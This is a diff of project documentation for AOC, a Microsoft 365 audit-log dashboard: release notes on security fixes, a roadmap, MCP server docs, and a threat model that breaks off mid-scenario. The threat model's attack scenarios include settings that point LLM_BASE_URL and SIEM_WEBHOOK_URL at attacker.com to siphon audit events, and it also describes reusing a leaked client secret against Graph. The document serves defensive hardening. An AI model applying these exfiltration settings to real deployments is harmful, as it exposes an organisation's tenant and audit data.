+### Using Azure Key Vault for secrets
+Instead of storing `CLIENT_SECRET`, `LLM_API_KEY`, `MONGO_URI`, and `WEBHOOK_CLIENT_SECRET` in `.env`, you can store them in Azure Key Vault:
+
+1. Create a Key Vault and add secrets with these names:
+   - `aoc-client-secret` → your Graph app `CLIENT_SECRET`
+   - `aoc-llm-api-key` → your `LLM_API_KEY`
+   - `aoc-mongo-uri` → your `MONGO_URI`
+   - `aoc-webhook-client-secret` → your `WEBHOOK_CLIENT_SECRET`
+2. Uncomment `azure-identity` and `azure-keyvault-secrets` in `backend/requirements.txt`
+3. Set `AZURE_KEY_VAULT_NAME=your-keyvault-name` in `.env`
+4. Ensure the container has Azure identity credentials (managed identity, service principal, or Azure CLI auth)
+
+## Security Hardening Checklist
+
+Before deploying to production:
+
+- [ ] Set `AUTH_ENABLED=true` and configure `AUTH_ALLOWED_ROLES` or `AUTH_ALLOWED_GROUPS` to restrict access
+- [ ] Set explicit `CORS_ORIGINS` (do not use `*` in production with auth enabled)
+- [ ] Set `DOCS_ENABLED=false` (default) to hide OpenAPI docs
+- [ ] Configure `WEBHOOK_CLIENT_SECRET` to validate Graph webhook notifications
+- [ ] Set `LLM_ALLOWED_DOMAINS` if using AI features to prevent data exfiltration
+- [ ] Set `SIEM_ALLOWED_DOMAINS` if using SIEM forwarding
+- [ ] Review `METRICS_ALLOWED_IPS` — defaults to private networks only
+- [ ] Consider Azure Key Vault instead of `.env` for secrets
+- [ ] Review the threat model: `THREAT_MODEL_v1.7.13.md`
+
 ## Run with Docker Compose (recommended)
 ```bash
 docker compose up --build
@@ -65,7 +112,8 @@ uvicorn main:app --reload --host 0.0.0.0 --port 8000
 
 ## API
 - `GET /health` — health check with MongoDB connectivity status.
-- `GET /metrics` — Prometheus metrics for request latency, fetch volume, and errors.
+- `GET /metrics` — Prometheus metrics for request latency, fetch volume, and errors (IP-restricted).
+- `GET /api/version` — running version (baked into the Docker image at build time).
 - `GET /api/fetch-audit-logs` — pulls the last 7 days by default (override with `?hours=N`, capped to 30 days) of:
   - Entra directory audit logs (`/auditLogs/directoryAudits`)
   - Exchange/SharePoint/Teams admin audits (via Office 365 Management Activity API)
@@ -82,11 +130,34 @@ uvicorn main:app --reload --host 0.0.0.0 --port 8000
 - `GET /api/source-health` — last fetch status for each ingestion source (`directory`, `unified`, `intune`).
 - `PATCH /api/events/{id}/tags` — update tags on an event (e.g., `investigating`, `false_positive`).
 - `POST /api/events/{id}/comments` — add a comment to an event.
+- `POST /api/events/{id}/explain` — AI explanation of a single audit event with security context (requires `LLM_API_KEY`).
+- `POST /api/ask` — natural language query. Returns a narrative answer + referenced events. Supports time ranges, entity names, and respects active UI filters. Only available when `AI_FEATURES_ENABLED=true`.
+- `GET /api/config/features` — feature flags (`ai_features_enabled`).
 - `GET /api/rules` — list alert rules.
 - `POST /api/rules` — create an alert rule.
 - `PUT /api/rules/{id}` — update an alert rule.
 - `DELETE /api/rules/{id}` — delete an alert rule.
 
+### MCP Server
+AOC exposes an MCP interface in two forms:
+
+**1. HTTP/SSE (production)** — mounted at `/mcp` inside the FastAPI app, behind OIDC auth:
+- `GET /mcp/sse` — establish SSE stream (requires Bearer token if `AUTH_ENABLED=true`)
+- `POST /mcp/messages/?session_id=...` — send tool calls
+
+This is the recommended way to use MCP against a remote deployment like `aoc.cqre.net`. Any MCP client that supports SSE transport (e.g. Cursor, Claude Desktop with an SSE bridge, or custom scripts) can connect using the same Entra token as the web UI.
+
+**2. stdio (local development)** — `python backend/mcp_server.py`:
+- Runs as a local subprocess for Claude Desktop
+- Connects directly to MongoDB (bypasses FastAPI auth)
+- Useful for local development when you have the repo cloned and MongoDB running locally
+
+Available tools (both transports):
+- `search_events` — filter by entity, service, operation, result, time range.
+- `get_event` — retrieve raw event JSON by ID.
+- `get_summary` — aggregated summary (service, operation, result, actor counts) for the last N days.
+- `ask` — natural language query returning recent events.
+
 Stored document shape (collection `micro_soc.events`):
 ```json
 {
@@ -136,7 +207,7 @@ curl http://localhost:8000/api/fetch-audit-logs
 - Visit the UI at http://localhost:8000 to filter by user/service/action/result/time, search raw text, paginate, and view raw events.
 
 ## Maintenance (Dockerized)
-Use the backend image so you don’t need a local venv:
+Use the backend image so you don't need a local venv:
 ```bash
 # ensure Mongo + backend network are up
 docker compose up -d mongo
@@ -147,10 +218,15 @@ docker compose run --rm backend python maintenance.py dedupe
 ```
 Omit `--limit` to process all events. You can also run commands inside a running backend container with `docker compose exec backend ...`.
 
+## Security Documentation
+- `PEN_TEST_REPORT_v1.7.11.md` — Penetration test findings and remediation
+- `THREAT_MODEL_v1.7.13.md` — Comprehensive threat model covering Entra application abuse, token handling, data exfiltration vectors
+
 ## Notes / Troubleshooting
 - Ensure `TENANT_ID`, `CLIENT_ID`, and `CLIENT_SECRET` match an app registration with `AuditLog.Read.All` (application) permission and admin consent.
 - Additional permissions: Office 365 Management Activity (`ActivityFeed.Read`), and Intune audit (`DeviceManagementConfiguration.Read.All`).
-- Auth: if `AUTH_ENABLED=true`, issued tokens must be from `AUTH_TENANT_ID`, audience = `AUTH_CLIENT_ID`; access is granted if roles or groups overlap `AUTH_ALLOWED_ROLES`/`AUTH_ALLOWED_GROUPS` (if set).
+- Auth: if `AUTH_ENABLED=true`, issued tokens must be from `AUTH_TENANT_ID`, audience = `AUTH_CLIENT_ID`; access is granted if roles or groups overlap `AUTH_ALLOWED_ROLES`/`AUTH_ALLOWED_GROUPS` (if set). A startup warning is logged if auth is enabled but no roles/groups are configured.
 - Backfill limits: Management Activity API typically exposes ~7 days of history via API (longer if your tenant has extended/Advanced Audit retention). Directory/Intune audit retention follows your tenant policy (commonly 30–90 days, longer with Advanced Audit).
 - If you change Mongo credentials/ports, update `MONGO_URI` in `.env` (Docker Compose passes it through to the backend).
 - The service uses the `micro_soc` database and `events` collection by default; adjust in `backend/config.py` if needed.
+- If using Azure Key Vault, ensure the runtime identity (managed identity, service principal, or local Azure CLI) has `Get` permission on secrets.

RELEASE_NOTES_v1.2.5.md

@@ -0,0 +1,78 @@
+# AOC v1.2.5 Release Notes
+
+**Release date:** 2026-04-20
+
+---
+
+## What's new
+
+### Natural language query (`/api/ask`)
+Ask questions in plain English and get AI-generated answers backed by your audit logs.
+
+- **Regex-based parsing** extracts time ranges (`last 3 days`, `yesterday`, `today`) and entities (`device ABC123`, `user bob@example.com`) without calling an LLM.
+- **AI narrative summarisation** via any OpenAI-compatible API (OpenAI, Azure OpenAI, MS Foundry, Ollama).
+- **Graceful fallback** when no LLM is configured — returns a structured bullet list with a clear error banner.
+- **Cited evidence** — every answer includes the raw events that back it up.
+
+### Filter-aware queries
+The ask endpoint now respects the filter panel. When you set **Service = Exchange**, **Result = failure** and ask *"What happened to device X?"*, the LLM only sees failed Exchange events for that device.
+
+### Scales to thousands of events
+For large result sets (>50 events), the LLM receives an **aggregated overview** instead of a raw dump:
+- Counts by service, action, result, and actor
+- Failure highlights
+- The 50 most recent raw events as samples
+
+This keeps token usage low while preserving accuracy.
+
+### Azure OpenAI / MS Foundry support
+- Automatic `api-key` header detection for Azure endpoints.
+- `LLM_API_VERSION` config for Azure `api-version` query parameters.
+- `max_completion_tokens` support for newer model deployments.
+
+### Version display
+- `GET /api/version` endpoint reads the `VERSION` file.
+- Frontend shows a version badge in the header (e.g., **1.2.5**).
+
+### Production hardening (from v1.1.0)
+- Dockerfile runs as non-root user with Gunicorn + Uvicorn workers.
+- `docker-compose.prod.yml` with internal-only MongoDB, health checks, and nginx reverse proxy.
+- Security headers (`X-Frame-Options`, `X-Content-Type-Options`, etc.).
+
+---
+
+## Configuration
+
+Add to your `.env`:
+
+```bash
+# Required for AI narrative summarisation
+LLM_API_KEY=your-key
+LLM_BASE_URL=https://api.openai.com/v1
+LLM_MODEL=gpt-4o-mini
+LLM_MAX_EVENTS=200
+LLM_TIMEOUT_SECONDS=30
+LLM_API_VERSION=                 # set for Azure OpenAI, e.g. 2024-12-01-preview
+```
+
+For Azure OpenAI / MS Foundry:
+```bash
+LLM_BASE_URL=https://your-resource.openai.azure.com/openai/deployments/your-deployment
+LLM_API_KEY=your-azure-key
+LLM_API_VERSION=2024-12-01-preview
+LLM_MODEL=your-deployment-name
+```
+
+---
+
+## Upgrade notes
+
+No breaking changes. Existing `/api/events`, filters, pagination, tags, and comments work unchanged.
+
+---
+
+## Docker image
+
+```
+git.cqre.net/cqrenet/aoc-backend:v1.2.5
+```

RELEASE_NOTES_v1.7.12.md

@@ -0,0 +1,43 @@
+# AOC v1.7.12 Release Notes
+
+**Release Date:** 2026-04-27
+
+## Security Hardening (Penetration Test Remediation)
+
+This release addresses all findings from the internal soft penetration test of v1.7.11.
+
+### Critical Fix: CORS Credentials Leak
+- **Issue:** When `AUTH_ENABLED=true` and `CORS_ORIGINS="*"`, the CORS middleware reflected any origin with `Access-Control-Allow-Credentials: true`, allowing cross-origin authenticated requests from attacker-controlled domains.
+- **Fix:** When auth is enabled with a wildcard origin, `allow_credentials` is now forced to `False`. CORS still works for unauthenticated requests, but bearer tokens cannot be leaked cross-origin.
+
+### High Fix: Missing Security Headers
+- Added `X-Content-Type-Options: nosniff`
+- Added `X-Frame-Options: DENY`
+- Added `Referrer-Policy: strict-origin-when-cross-origin`
+- Added `Permissions-Policy` restricting browser features (accelerometer, camera, geolocation, gyroscope, magnetometer, microphone, payment, USB)
+
+### Medium Fixes
+- **Rate limiter fail-closed:** Previously, a Redis outage silently disabled all rate limiting. The rate limiter now returns `429` when Redis is unreachable.
+- **OpenAPI docs exposure:** `/docs`, `/redoc`, and `/openapi.json` are disabled by default. Set `DOCS_ENABLED=true` to re-enable (intended for development only).
+
+### Low Fixes
+- **Information disclosure:** `/api/config/auth` no longer leaks `tenant_id` and `client_id` when `auth_enabled=false`.
+- **Webhook validation token:** Added length cap (1024 chars) and ASCII-only validation before echoing `validationToken`. Response now includes `X-Content-Type-Options: nosniff`.
+
+## Files Changed
+
+| File | Change |
+|------|--------|
+| `backend/main.py` | CORS fix, security headers middleware, conditional OpenAPI docs |
+| `backend/config.py` | Added `DOCS_ENABLED` setting |
+| `backend/rate_limiter.py` | Fail-closed on Redis errors |
+| `backend/routes/config.py` | Hide tenant/client IDs when auth disabled |
+| `backend/routes/webhooks.py` | Validate validationToken before echo |
+| `backend/tests/conftest.py` | Enhanced FakeRedis mock with `incr`/`expire` |
+| `.env.example` | Documented `DOCS_ENABLED` |
+| `VERSION` | Bumped to 1.7.12 |
+
+## Test Results
+
+- **80/80 pytest tests passing**
+- Penetration test report: `PEN_TEST_REPORT_v1.7.11.md`

RELEASE_NOTES_v1.7.13.md

@@ -0,0 +1,34 @@
+# AOC v1.7.13 Release Notes
+
+**Release Date:** 2026-04-27
+
+## Security Hardening: Alpine.js CSP Build
+
+This release removes `unsafe-eval` from the Content-Security-Policy by switching the frontend to Alpine.js's CSP-compatible build.
+
+### Changes
+
+- **Frontend:** Switched from `alpinejs@3.x.x/dist/cdn.min.js` to `alpinejs@3.x.x/dist/csp.min.js`
+- **Frontend:** Added explicit `Alpine.start()` call on `DOMContentLoaded` (required by CSP build)
+- **Backend CSP:** Removed `'unsafe-eval'` from `script-src` directive
+
+### Why this matters
+
+The previous v1.7.11–1.7.12 releases included `'unsafe-eval'` in the CSP because the standard Alpine.js CDN build uses `new Function()` internally for reactive expression evaluation. The CSP build eliminates this requirement, further hardening the application against XSS and injection attacks.
+
+### Compatibility
+
+All existing Alpine.js directives (`x-data`, `x-init`, `x-show`, `x-text`, `x-for`, `x-if`, `x-model`, event handlers) continue to work unchanged. The CSP build uses a safe expression evaluator that produces identical behavior without `eval`/`new Function`.
+
+## Files Changed
+
+| File | Change |
+|------|--------|
+| `backend/frontend/index.html` | Alpine.js src → `csp.min.js`; added `Alpine.start()` |
+| `backend/main.py` | Removed `'unsafe-eval'` from `script-src` CSP |
+| `VERSION` | Bumped to 1.7.13 |
+
+## Test Results
+
+- **80/80 pytest tests passing**
+- Ruff lint/format clean

RELEASE_NOTES_v1.7.14.md

@@ -0,0 +1,64 @@
+# AOC v1.7.14 Release Notes
+
+**Release Date:** 2026-04-27
+
+## Security Hardening: Threat Model Remediation
+
+This release addresses the high-severity findings from the v1.7.13 threat model review.
+
+### LLM Endpoint Domain Allowlist
+
+- **New config:** `LLM_ALLOWED_DOMAINS` (comma-separated, supports wildcards like `*.openai.azure.com`)
+- **Behavior:** When configured, the `/api/ask` endpoint rejects `LLM_BASE_URL` domains not in the allowlist
+- **Impact:** Prevents audit data exfiltration via a compromised or attacker-controlled LLM endpoint
+
+### SIEM Webhook SSRF Guard
+
+- **New config:** `SIEM_ALLOWED_DOMAINS` (comma-separated)
+- **Behavior:** The SIEM forwarder now validates `SIEM_WEBHOOK_URL` with the same SSRF checks as the LLM endpoint (HTTPS-only, blocks private IPs, enforces domain allowlist)
+- **Impact:** Prevents real-time audit data exfiltration via a malicious SIEM webhook URL
+
+### CDN Subresource Integrity (SRI)
+
+- Added `integrity` hashes to both CDN scripts in the frontend:
+  - Alpine.js 3.15.11: `sha384-WPtu0YHhJ3arcykfnv1JgUffWDSKRnqnDeTpJUbOc2os2moEmLkIdaeR0trPN4be`
+  - MSAL.js 2.37.0: `sha384-DUSOaqAzlZRiZxkDi8hL7hXJDZ+X39ZOAYV9ZDx44gUv9pozmcunJH02tjSFLPnW`
+- **Impact:** Browser refuses to execute CDN scripts if the content doesn't match the hash, preventing supply chain compromise
+
+### Auth Misconfiguration Warning
+
+- At startup, AOC now logs a `WARNING` if `AUTH_ENABLED=true` but neither `AUTH_ALLOWED_ROLES` nor `AUTH_ALLOWED_GROUPS` is configured
+- **Impact:** Operators are alerted when the app is accidentally left open to all Entra users
+
+### Azure Key Vault Integration (Optional)
+
+- **New module:** `backend/secrets_manager.py`
+- **New config:** `AZURE_KEY_VAULT_NAME`
+- **Behavior:** If `AZURE_KEY_VAULT_NAME` is set, AOC fetches these secrets from Key Vault at startup:
+  - `aoc-client-secret` → `CLIENT_SECRET`
+  - `aoc-llm-api-key` → `LLM_API_KEY`
+  - `aoc-mongo-uri` → `MONGO_URI`
+  - `aoc-webhook-client-secret` → `WEBHOOK_CLIENT_SECRET`
+- Falls back silently to `.env` / environment variables when Key Vault is not configured
+- **Dependencies:** `azure-identity` and `azure-keyvault-secrets` (commented out in `requirements.txt` — uncomment when using Key Vault)
+- **Impact:** Eliminates long-lived secrets from `.env` files and Docker images
+
+## Files Changed
+
+| File | Change |
+|------|--------|
+| `backend/config.py` | Added `LLM_ALLOWED_DOMAINS`, `SIEM_ALLOWED_DOMAINS`, `AZURE_KEY_VAULT_NAME` |
+| `backend/routes/ask.py` | Domain allowlist enforcement for LLM URL |
+| `backend/siem.py` | SSRF guard + domain allowlist for SIEM webhook |
+| `backend/frontend/index.html` | SRI hashes for Alpine.js and MSAL.js |
+| `backend/main.py` | Startup warning for auth misconfiguration |
+| `backend/secrets_manager.py` | New — Azure Key Vault integration |
+| `backend/requirements.txt` | Added optional Azure Key Vault packages |
+| `.env.example` | Documented new settings |
+| `VERSION` | Bumped to 1.7.14 |
+| `THREAT_MODEL_v1.7.13.md` | Threat model documentation |
+
+## Test Results
+
+- **80/80 pytest tests passing**
+- Ruff lint/format clean

RELEASE_NOTES_v1.7.7.md

@@ -0,0 +1,99 @@
+# AOC v1.7.7 Release Notes
+
+**Release date:** 2026-04-24
+
+---
+
+## Security Hardening
+
+This release is a focused security patch addressing findings from an internal audit. All users running AOC in production are encouraged to upgrade.
+
+### Webhook authentication (`/api/webhooks/graph`)
+- **ClientState validation** — Notifications now require a matching `WEBHOOK_CLIENT_SECRET`. Set this in your `.env` to the same value used when creating Graph subscriptions.
+- Rejects spoofed notification payloads with `401 Unauthorized`.
+
+### Rate limiting
+- **Redis-backed fixed-window rate limiting** is now enabled by default.
+- Per-category limits:
+  - `/api/fetch-audit-logs` — 10 requests/hour
+  - `/api/ask` — 30 requests/minute
+  - `/api/events/bulk-tags` — 20 requests/minute
+  - All other endpoints — 120 requests/minute
+- Returns `429 Too Many Requests` with a `Retry-After` header when exceeded.
+
+### SSRF protection for LLM calls
+- `LLM_BASE_URL` is now validated before every outbound request.
+- Blocks non-HTTPS URLs, localhost, link-local addresses (`169.254.169.254`), and all private IP ranges.
+
+### CORS enforcement
+- Wildcard (`*`) origins are **automatically stripped** when `AUTH_ENABLED=true`.
+- A startup warning is logged if an insecure CORS configuration is detected.
+
+### Content Security Policy
+- API and HTML responses now include a `Content-Security-Policy` header.
+- Restricts script sources to self, CDN origins, and MSAL auth library.
+
+### Audit trail integrity
+- The audit middleware no longer parses JWT tokens without signature verification.
+- Verified claims are now propagated safely via `contextvars`, eliminating audit log poisoning.
+
+### Standalone MCP server
+- Prints a prominent security warning on startup reminding operators that the stdio transport has no authentication layer.
+
+---
+
+## Operational Improvements
+
+### Bulk tag cap
+- `POST /api/events/bulk-tags` now refuses to update more than **10,000 events** in a single request.
+- Returns `400` with guidance to narrow filters.
+
+### Generic error responses
+- Internal exception details are no longer leaked in HTTP 500/502 responses.
+- Full stack traces remain in server-side logs.
+
+### Alert rule schema
+- `conditions` field now uses a strict Pydantic model (`AlertCondition`) instead of an unconstrained `list[dict]`.
+- Prevents stored data pollution from malformed rule payloads.
+
+### Docker Compose
+- MongoDB (`27017`) and Redis (`6379`) ports are no longer forwarded to the Docker host.
+- Internal services are reachable only via the Docker network.
+
+---
+
+## Configuration
+
+Add to your `.env`:
+
+```bash
+# Required if you use Graph webhooks
+WEBHOOK_CLIENT_SECRET=your-random-secret
+
+# Optional: disable rate limiting (not recommended)
+RATE_LIMIT_ENABLED=true
+RATE_LIMIT_REQUESTS=120
+RATE_LIMIT_WINDOW_SECONDS=60
+```
+
+---
+
+## Upgrade notes
+
+**No breaking changes.** Existing event data, tags, comments, and saved searches are preserved.
+
+After pulling:
+
+```bash
+export AOC_VERSION=v1.7.7
+docker compose -f docker-compose.prod.yml pull
+docker compose -f docker-compose.prod.yml up -d
+```
+
+---
+
+## Docker image
+
+```
+git.cqre.net/cqrenet/aoc-backend:v1.7.7
+```

ROADMAP.md

@@ -59,5 +59,64 @@ Goal: evolve from a polling dashboard into a full security operations tool.
 
 ---
 
+## Phase 5: Intelligence ✅
+Goal: add AI-powered analysis and external tool integration.
+
+- [x] AI feature flag (`AI_FEATURES_ENABLED`) to gate LLM-dependent features
+- [x] Natural language query endpoint (`/api/ask`) with intent extraction and smart sampling
+- [x] MCP (Model Context Protocol) server for Claude Desktop / Cursor integration
+- [x] Valkey caching for LLM responses and frequent queries
+- [x] Async queue (arq) for LLM requests to prevent timeout/cost explosions at scale
+- [ ] Advanced analytics dashboard (trending operations, anomaly detection)
+
 ## Completed in this PR
-All Phase 1 items were implemented in the latest changes.
+All Phase 5 items marked done were implemented in v1.3.0–v1.5.0.
+Redis caching + async queue implemented in v1.6.0, switched to Valkey.
+UI polish (topbar, footer, clickable pills) in v1.6.1–v1.6.4.
+
+---
+
+## Phase 6: Security Hardening ✅
+Goal: address penetration test findings and threat model gaps.
+
+- [x] Fix CORS credentials leak (v1.7.12)
+- [x] Add security headers (X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy) (v1.7.12)
+- [x] Make rate limiter fail-closed on Redis failure (v1.7.12)
+- [x] Disable OpenAPI docs by default (v1.7.12)
+- [x] Hide tenant_id/client_id from config endpoint when auth disabled (v1.7.12)
+- [x] Validate webhook validationToken before echo (v1.7.12)
+- [x] Gate `/metrics` behind IP allowlist (v1.7.12)
+- [x] Add LLM domain allowlist (`LLM_ALLOWED_DOMAINS`) (v1.7.14)
+- [x] Add SIEM webhook SSRF guard + domain allowlist (v1.7.14)
+- [x] Add SRI hashes to CDN scripts (v1.7.14)
+- [x] Add startup warning for auth misconfiguration (v1.7.14)
+- [x] Add Azure Key Vault integration for secrets storage (v1.7.14)
+- [x] Internal penetration test + threat model documentation
+
+---
+
+## Phase 7: Multi-Tenancy (Premium) ⏸️
+Goal: allow MSPs to manage multiple client tenants from a single deployment.
+
+Status: **Planned — not started**. Architecture designed, pending validation of core features (SIEM export, alerting) in production first.
+
+### Architecture
+- Row-level isolation: `tenant_id` field on every MongoDB document
+- Each tenant has their own Microsoft Entra tenant + app registration credentials
+- Auth: user's JWT `tid` claim maps to tenant config automatically
+- Super-admin role for MSP staff to access all tenants
+
+### Implementation phases
+- **Phase 7.1** (2–3 days): Tenant model & registry, tenant-aware data layer, per-tenant Graph API auth
+- **Phase 7.2** (1 day): Tenant-scoped API routes, tenant-specific config endpoints
+- **Phase 7.3** (2 days): Frontend tenant switcher, tenant name display, admin page
+- **Phase 7.4** (1 day): License gating — signed JWT `LICENSE_KEY` gates multi-tenant mode
+
+### Licensing model
+- Single-tenant: remains MIT/free
+- Multi-tenant: premium feature requiring a signed license key
+- License key is a JWT with claims: `plan`, `max_tenants`, `exp`, `features`
+- Offline license generation tool included
+
+### Effort estimate
+~7–9 days total. Deferred until SIEM export and alerting are battle-tested.

THREAT_MODEL_v1.7.13.md

@@ -0,0 +1,321 @@
+# AOC Threat Model — v1.7.13
+
+**Date:** 2026-04-27
+**Scope:** Entra ID / Microsoft Graph integration, token handling, data flows, external dependencies
+**Assumptions:** Deployment is Docker Compose behind nginx reverse proxy; `AUTH_ENABLED=true`; `AI_FEATURES_ENABLED` may be true or false.
+
+---
+
+## Attack Surface Map
+
+```
+┌─────────────────────────────────────────────────────────────────────────────┐
+│                              ATTACKER                                        │
+│         │                    │                    │                          │
+│         ▼                    ▼                    ▼                          │
+│  ┌─────────────┐    ┌──────────────┐    ┌─────────────────┐                 │
+│  │  Frontend   │    │   API        │    │  Webhook        │                 │
+│  │  (CDN JS)   │    │  (/api/*)    │    │  (/api/webhooks)│                 │
+│  └──────┬──────┘    └──────┬───────┘    └────────┬────────┘                 │
+│         │                  │                      │                          │
+│         ▼                  ▼                      ▼                          │
+│  ┌─────────────────────────────────────────────────────────────┐            │
+│  │                    AOC BACKEND                               │            │
+│  │  ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌──────────┐    │            │
+│  │  │  Auth    │  │  Events  │  │  Fetch   │  │  Ask/LLM │    │            │
+│  │  │  (JWT)   │  │  (Mongo) │  │  (Graph) │  │  (HTTP)  │    │            │
+│  │  └────┬─────┘  └────┬─────┘  └────┬─────┘  └────┬─────┘    │            │
+│  │       │             │             │             │           │            │
+│  │       ▼             ▼             ▼             ▼           │            │
+│  │  ┌─────────────────────────────────────────────────────┐    │            │
+│  │  │              SECRETS / CREDENTIALS                   │    │            │
+│  │  │  CLIENT_SECRET  │  LLM_API_KEY  │  MONGO_PASSWORD   │    │            │
+│  │  └─────────────────────────────────────────────────────┘    │            │
+│  └─────────────────────────────────────────────────────────────┘            │
+│         │                  │                      │                          │
+│         ▼                  ▼                      ▼                          │
+│  ┌─────────────┐    ┌──────────────┐    ┌─────────────────┐                 │
+│  │ Microsoft   │    │  LLM API     │    │  SIEM Webhook   │                 │
+│  │  Graph API  │    │  (OpenAI/    │    │  (optional)     │                 │
+│  │             │    │   Azure)     │    │                 │                 │
+│  └─────────────┘    └──────────────┘    └─────────────────┘                 │
+└─────────────────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## 1. Entra App Registration Abuse — HIGH
+
+### 1.1 Client Credentials Leak = Full Tenant Read
+
+**How it works:**
+- AOC uses `client_credentials` flow (`graph/auth.py`)
+- `CLIENT_ID` + `CLIENT_SECRET` are exchanged for an access token at `login.microsoftonline.com`
+- The token has `https://graph.microsoft.com/.default` scope
+- This grants **all application permissions** configured in the Entra app registration
+
+**Typical permissions:**
+- `Directory.Read.All` — read all users, groups, devices, roles
+- `AuditLog.Read.All` — read all audit logs
+- `DeviceManagementManagedDevices.Read.All` — read all Intune devices
+
+**Attack scenario:**
+1. Attacker gains read access to `.env` or the Docker container filesystem
+2. Attacker calls the token endpoint directly with the leaked `CLIENT_ID`/`CLIENT_SECRET`
+3. Attacker receives a Graph API access token valid for ~1 hour
+4. Attacker can query ALL tenant data independently of AOC
+
+**Impact:** Complete tenant data exfiltration — users, groups, devices, audit logs, mailboxes (if `Exchange.Read` granted).
+
+**Mitigation in place:** None. The backend needs these permissions to function.
+
+**Recommendation:**
+- Store `CLIENT_SECRET` in a secret manager (Azure Key Vault, HashiCorp Vault) rather than `.env`
+- Use short-lived certificates instead of long-lived secrets for app authentication
+- Monitor Entra sign-in logs for anomalous `client_credentials` token requests
+- Restrict app registration permissions to the absolute minimum (e.g., `AuditLog.Read.All` + `Directory.Read.All` only)
+
+---
+
+### 1.2 No Scope Restriction on Graph Token
+
+**Finding:** `get_access_token()` always requests `https://graph.microsoft.com/.default` — the full permission set. There's no mechanism to request narrower scopes for specific operations.
+
+**Impact:** If the app registration has 10 permissions, every token has all 10. A bug in one code path could expose data from all 10 permission areas.
+
+**Recommendation:** Not easily fixable without splitting into multiple app registrations. Document as accepted risk.
+
+---
+
+## 2. Authentication & Token Validation — MEDIUM
+
+### 2.1 JWKS Fetch Without TLS Certificate Validation Hardening
+
+**Finding:** `_get_jwks()` fetches OIDC configuration and JWKS from `login.microsoftonline.com` using standard `requests` TLS validation. No certificate pinning or CA bundle restriction.
+
+**Attack scenario (advanced):**
+1. Attacker compromises DNS or a network hop between AOC and Microsoft
+2. Attacker serves a fake JWKS endpoint with their own public key
+3. Attacker issues a forged JWT signed with their private key
+4. AOC validates the forged JWT against the attacker's public key
+5. Attacker gains authenticated access
+
+**Likelihood:** Very low (requires DNS compromise or nation-state-level interception).
+
+**Mitigation:** Standard TLS validation is in place. For high-security environments, consider pinning the `login.microsoftonline.com` certificate thumbprint.
+
+---
+
+### 2.2 Missing `nbf` / `iat` Claim Verification
+
+**Finding:** `_decode_token()` verifies `exp`, `tid`, `iss`, and `aud` but does not check `nbf` (not before) or `iat` (issued at) claims.
+
+**Impact:** A token used before its validity period (`nbf`) or with a suspicious future `iat` would be accepted. Minor issue — MSAL tokens are well-formed in practice.
+
+---
+
+### 2.3 Role/Group Gating Defaults to "Allow All"
+
+**Finding:** In `auth.py`:
+```python
+def _allowed(claims, allowed_roles, allowed_groups):
+    if not allowed_roles and not allowed_groups:
+        return True
+```
+
+**Impact:** If `AUTH_ENABLED=true` but `AUTH_ALLOWED_ROLES` and `AUTH_ALLOWED_GROUPS` are left empty (the default), **every Entra user in the tenant** can authenticate and use AOC. This is a common misconfiguration.
+
+**Recommendation:** Add a startup warning when auth is enabled but no roles/groups are configured. Consider changing the default to deny-all.
+
+---
+
+### 2.4 Privacy Service Role Gating Also Defaults to "Allow All"
+
+**Finding:** `user_can_access_privacy_services()` returns `True` if `PRIVACY_SERVICE_ROLES` is empty. If an admin configures `PRIVACY_SERVICES` (e.g., `Exchange`) but forgets to set `PRIVACY_SERVICE_ROLES`, all users see all privacy data.
+
+---
+
+## 3. Data Exfiltration Paths — HIGH
+
+### 3.1 LLM Endpoint as Data Exfiltration Channel
+
+**Finding:** When `AI_FEATURES_ENABLED=true` and `LLM_API_KEY` is set:
+- The `/api/ask` endpoint sends audit event data (actors, targets, operations, summaries) to the configured LLM API
+- `_validate_llm_url()` blocks private IPs but does NOT restrict the domain to an allowlist
+- Any HTTPS URL is accepted
+
+**Attack scenario:**
+1. Attacker gains `.env` write access (or container filesystem access)
+2. Attacker changes `LLM_BASE_URL` to `https://attacker.com/fake-llm`
+3. Attacker sends an `/api/ask` request like "show me all events"
+4. AOC queries MongoDB and sends up to `LLM_MAX_EVENTS` (default 200) events to the attacker's URL
+5. Attacker receives structured audit data including actor names, UPNs, device names, operation details
+
+**Impact:** Up to 200 audit events exfiltrated per API call. With pagination, an attacker could exfiltrate the entire database.
+
+**Mitigation in place:** SSRF guard blocks private IPs and localhost.
+
+**Gap:** No domain allowlist. An attacker-controlled public HTTPS endpoint is accepted.
+
+**Recommendation:**
+- Add `LLM_ALLOWED_DOMAINS` config (e.g., `api.openai.com,*.openai.azure.com`)
+- Validate `LLM_BASE_URL` against this allowlist at startup and on every request
+- Log all LLM requests with event counts sent
+
+---
+
+### 3.2 SIEM Webhook as Real-Time Exfiltration Channel
+
+**Finding:** `siem.py` forwards every normalized event to `SIEM_WEBHOOK_URL` during ingestion:
+```python
+def forward_event(event):
+    if not SIEM_ENABLED or not SIEM_WEBHOOK_URL:
+        return
+    requests.post(SIEM_WEBHOOK_URL, json=event, timeout=10)
+```
+
+**Gap:** No URL validation at all. Unlike the LLM endpoint, the SIEM webhook has NO SSRF guard.
+
+**Attack scenario:**
+1. Attacker sets `SIEM_ENABLED=true` and `SIEM_WEBHOOK_URL=https://attacker.com/collect`
+2. Every new audit event fetched from Graph is immediately POSTed to the attacker's URL
+3. Attacker receives real-time stream of all tenant audit events
+
+**Impact:** Real-time, continuous data exfiltration of all audit events.
+
+**Recommendation:**
+- Add the same SSRF validation to `SIEM_WEBHOOK_URL` that exists for `LLM_BASE_URL`
+- Add `SIEM_ALLOWED_DOMAINS` config
+- Log SIEM forwarding failures prominently
+
+---
+
+### 3.3 Export Features (JSON/CSV)
+
+**Finding:** The frontend has `exportJSON()` and `exportCSV()` functions that download all currently filtered events. These are authenticated but not rate-limited separately from `/api/events`.
+
+**Impact:** A compromised account can export large batches of events. However, this requires authentication and is bounded by the 500-event page size limit.
+
+**Risk level:** LOW — requires valid auth and is noisy.
+
+---
+
+## 4. Webhook Abuse — MEDIUM
+
+### 4.1 Graph Change Notification Webhook
+
+**Finding:** `/api/webhooks/graph` receives Microsoft Graph change notifications:
+- Echoes `validationToken` for subscription handshake
+- Accepts notifications with optional `clientState` validation
+- `WEBHOOK_CLIENT_SECRET` is empty by default
+
+**Attack scenario 1 — Subscription hijacking:**
+1. Attacker discovers the webhook URL (via API enumeration or guess)
+2. Attacker creates a Graph subscription pointing to the AOC webhook URL
